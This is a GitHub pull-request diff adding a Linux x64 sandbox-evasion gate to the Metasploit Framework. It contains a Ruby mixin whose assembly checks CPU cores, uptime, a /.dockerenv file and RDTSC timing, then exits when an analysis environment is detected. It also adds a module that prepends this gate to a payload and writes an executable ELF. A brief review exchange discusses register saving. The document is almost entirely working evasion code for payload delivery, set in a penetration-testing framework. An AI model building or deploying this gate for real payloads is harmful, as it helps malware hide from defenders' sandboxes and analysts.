Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
168 changes: 168 additions & 0 deletions lib/msf/core/payload/linux/x64/sandbox_evasion.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
module Msf::Payload::Linux::X64::SandboxEvasion
def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false)

rdtsc_asm = ""
if check_virt
rdtsc_asm = %Q^
; ─────────────────────────────────────────────────────────────
; Check: Execution Latency via RDTSC
; ─────────────────────────────────────────────────────────────
check_rdtsc:
xor eax, eax
cpuid
rdtsc
shl rdx, 32
or rax, rdx
mov r8, rax

xor eax, eax
cpuid

rdtsc
shl rdx, 32
or rax, rdx

sub rax, r8

xor ebx, ebx
mov bx, 0x3E8
cmp rax, rbx
jge sandbox_detected ; EXIT IF CYCLES >= 1000
^
end

docker_asm = ""
if check_docker
docker_asm = %Q^
; ─────────────────────────────────────────────────────────────
; Check: Container Detection via /.dockerenv existence
; ─────────────────────────────────────────────────────────────
check_docker:
xor eax, eax
push rax
mov rax, 0x766e6572656b636f
push rax
mov rax, 0x642e2f2f2f2f2f2f
push rax

xor eax, eax
mov al, 21
mov rdi, rsp
xor rsi, rsi
syscall

test rax, rax
js clean_docker
jmp sandbox_detected ; EXIT IF DOCKERENV EXISTS

clean_docker:
pop rax
pop rax
pop rax
^
end

asm = %Q^
_start:
; Save callee-saved registers per x64 convention
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push r14
push r15

xor eax, eax
mov al, 128
sub rsp, rax

; ─────────────────────────────────────────────────────────────
; Check: CPU cores via sched_getaffinity
; ─────────────────────────────────────────────────────────────
check_cores:
xor eax, eax
mov al, 204
xor rdi, rdi
xor rsi, rsi
mov sil, 128
mov rdx, rsp
syscall

test rax, rax
js check_uptime

mov rbx, [rsp]
xor rcx, rcx
count_loop:
test rbx, rbx
jz evaluate_cores
mov rax, rbx
dec rax
and rbx, rax
inc rcx
jmp count_loop

evaluate_cores:
cmp rcx, #{cores}
jl sandbox_detected

; ─────────────────────────────────────────────────────────────
; Check: System Uptime via sysinfo
; ─────────────────────────────────────────────────────────────
check_uptime:
xor eax, eax
mov al, 99
mov rdi, rsp
syscall

test rax, rax
js execute_optional_checks

mov rax, [rsp]
xor rbx, rbx
mov bx, #{uptime}
cmp rax, rbx
jle sandbox_detected

execute_optional_checks:
#{rdtsc_asm}
#{docker_asm}

jmp pass ; ALL CHECKS PASSED, JUMP TO PAYLOAD

; ─────────────────────────────────────────────────────────────
; Sandbox Detected: Kill Process
; ─────────────────────────────────────────────────────────────
sandbox_detected:
xor eax, eax
mov al, 231
xor edi, edi
syscall

; ─────────────────────────────────────────────────────────────
; Clean Up & Execute
; ─────────────────────────────────────────────────────────────
pass:
xor eax, eax
mov al, 128
add rsp, rax
xor rax, rax
xor rcx, rcx
xor rdx, rdx
xor r8, r8
Comment on lines +148 to +154

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

by x64 convention, you need to make sure you are saving this registers:

RBX, RBP, RDI, RSI, or R12–R15

Pushing them on the start and popping them back should do the work.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair point, I have not added this functionally since this module is the first one called/run - but, yes, I can add it for completeness


; Restore callee-saved registers (reverse order)
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbp
pop rbx
^
Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string
end
end
58 changes: 58 additions & 0 deletions modules/evasion/linux/x64/sandbox_gate.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Evasion

include Msf::Payload::Linux::X64::SandboxEvasion

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux x64 Sandbox Environment Gate',
'Description' => %q{
Generates a Linux x64 ELF whose entry point is a pre-execution
environment gate designed to detect and evade automated malware
analysis sandboxes, hypervisors and containerized environments.
},
'Author' => ['Massimo Bertocchi'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Targets' => [['Linux x64', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.17' }
)
)

register_options(
[
OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']),
OptInt.new('CORES', [true, 'Minimum CPU cores required to pass check', 2]),
OptInt.new('UPTIME', [true, 'Minimum system uptime in seconds required to pass check', 600]),
OptBool.new('CHECK_DOCKER', [true, 'Enable /.dockerenv container detection check', true]),
OptBool.new('CHECK_VIRT', [true, 'Enable RDTSC hypervisor latency detection (WARNING: Will kill payload on Cloud VMs)', false])
]
)
end

def run
raw_payload = payload.encoded
if raw_payload.blank?
fail_with(Failure::BadConfig, 'Failed to generate payload')
end

gate_stub = sandbox_evasion(datastore['CORES'], datastore['UPTIME'], datastore['CHECK_DOCKER'], datastore['CHECK_VIRT'])
if gate_stub.blank?
fail_with(Failure::BadConfig, 'Gate stub assembly failed')
end

combined = gate_stub + raw_payload
final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined)

File.binwrite(datastore['FILENAME'], final_elf)
File.chmod(0o755, datastore['FILENAME'])
end
end
Loading